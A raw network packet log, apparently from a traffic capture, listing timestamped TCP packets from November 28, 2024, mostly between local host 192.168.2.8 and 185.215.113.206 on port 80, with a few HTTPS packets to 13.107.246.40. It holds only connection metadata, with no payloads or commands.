Nov 28, 2024 08:55:54.487512112 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.487644911 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.487694979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.488235950 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.488296032 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.488723040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.488787889 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.489068031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.489361048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.489582062 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.489631891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.489964008 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.489976883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.490019083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.490034103 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.490731001 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.490784883 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.491455078 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.491506100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.491583109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.491596937 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.491636038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.492342949 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.492439985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.663551092 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.663573980 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.663656950 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.663674116 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.664114952 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.664189100 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.664841890 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.664870024 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.664949894 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.664958954 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.665544033 CET	49808	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.665559053 CET	443	49808	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.669001102 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.669066906 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.669902086 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.669910908 CET	443	49810	13.107.246.40	192.168.2.8
Nov 28, 2024 08:55:54.669944048 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.669992924 CET	49810	443	192.168.2.8	13.107.246.40
Nov 28, 2024 08:55:54.718063116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.718180895 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.718331099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.718420982 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.718432903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.718434095 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.718523979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.719234943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.719295025 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.719597101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.719680071 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.720535994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.720549107 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.720561981 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.720612049 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.720633984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.721189976 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.721442938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.721513987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.721992016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.722136021 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.722451925 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.722517967 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.722902060 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.722913027 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.722965002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.723663092 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.724126101 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.724189997 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.724499941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.724561930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.724905014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.724965096 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.725375891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.725431919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.725651979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.725831985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.726193905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.726258993 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.726264000 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.726314068 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.727020979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.727118969 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.727176905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.727261066 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.727826118 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.727994919 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.728111029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.728283882 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.728669882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.728724957 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.728925943 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.729530096 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.729561090 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.729607105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.729657888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.729708910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.730361938 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.730416059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.730545044 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.730663061 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.731193066 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.731278896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.731323957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.731543064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.732038975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.732078075 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.732259989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.732841969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.732938051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.732997894 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.733692884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.733802080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.733813047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.734031916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.734510899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.734553099 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.734585047 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.734615088 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.735353947 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.735410929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.735481977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.736187935 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.736243010 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.736244917 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.736320019 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.737066031 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.737144947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.737183094 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.737229109 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.737859964 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.737960100 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.738497019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.738558054 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.738697052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.738872051 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.739206076 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.739275932 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.739525080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.739573002 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.739584923 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.739785910 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.740351915 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.740405083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.740441084 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.740480900 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.741202116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.741264105 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.741620064 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.742032051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.742105007 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.742141962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.742188931 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.742885113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.742930889 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.742955923 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.742970943 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.743746042 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.744096994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.744185925 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.744570971 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.744611979 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.744616985 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.744661093 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.745387077 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.745441914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.745563984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.745788097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.746217012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.746371984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.746543884 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.746603012 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.747042894 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.747226954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.747248888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.747515917 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.747888088 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.747997046 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.748215914 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.748316050 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.748819113 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.748882055 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.749069929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.749325037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.749557018 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.749627113 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.750412941 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.750426054 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.750479937 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.750507116 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.750554085 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.751246929 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.751322031 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.752101898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.752115965 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.752151012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.752186060 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.752209902 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.752923012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.752935886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.752996922 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.753810883 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.753830910 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.753895044 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.753910065 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.754582882 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.754962921 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.755043030 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.755451918 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.755465984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.755510092 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.756450891 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.756464958 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.756537914 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.757107973 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.757121086 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.757329941 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.757968903 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.757987022 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.758033037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.758914948 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.758928061 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.758976936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.759603977 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.759664059 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.760438919 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.760457039 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.760502100 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.760504961 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.760669947 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.761217117 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.761327028 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.761970997 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.763684988 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.928605080 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.928693056 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.928760052 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.928908110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.928987980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.929128885 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.929254055 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.929332972 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.929867029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.929928064 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.929970980 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.930041075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.930737019 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.930851936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.930953026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.931030989 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.931256056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.931303978 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.931813955 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.931871891 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.931876898 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.932015896 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.932621002 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.932670116 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.932754040 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.932950974 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.933897972 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.934026957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.934159994 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.934438944 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.934503078 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.934540987 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.934608936 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.935142994 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.935203075 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.935614109 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.935676098 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.935952902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.936008930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.936181068 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.936269999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.936777115 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.936834097 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.937102079 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.937149048 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.937643051 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.937711954 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.937880993 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.938060999 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.938515902 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.938575983 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.938755035 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.938807011 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.939332962 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.939347029 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.939388037 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.939403057 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.940258026 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.940330982 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.940567970 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.940639973 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.941097975 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.941147089 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.941365957 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.941560984 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.941903114 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.942035913 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.942465067 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.942547083 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.942787886 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.943130016 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.943181038 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.943569899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.943583012 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.943645000 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.944328070 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.944544077 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.945039034 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.945130110 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.945211887 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.945225954 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.945264101 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.945974112 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.946022987 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.946171045 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.946242094 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.946810007 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.947058916 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.947689056 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.947705984 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.947717905 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.947736979 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.947757959 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.948508024 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.948520899 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.948561907 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.949390888 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.949445009 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.950174093 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.950186014 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.950222969 CET	80	49748	185.215.113.206	192.168.2.8
Nov 28, 2024 08:55:54.950228930 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.950263977 CET	49748	80	192.168.2.8	185.215.113.206
Nov 28, 2024 08:55:54.951004028 CET	80	49748	185.215.113.206	192.168.2.8
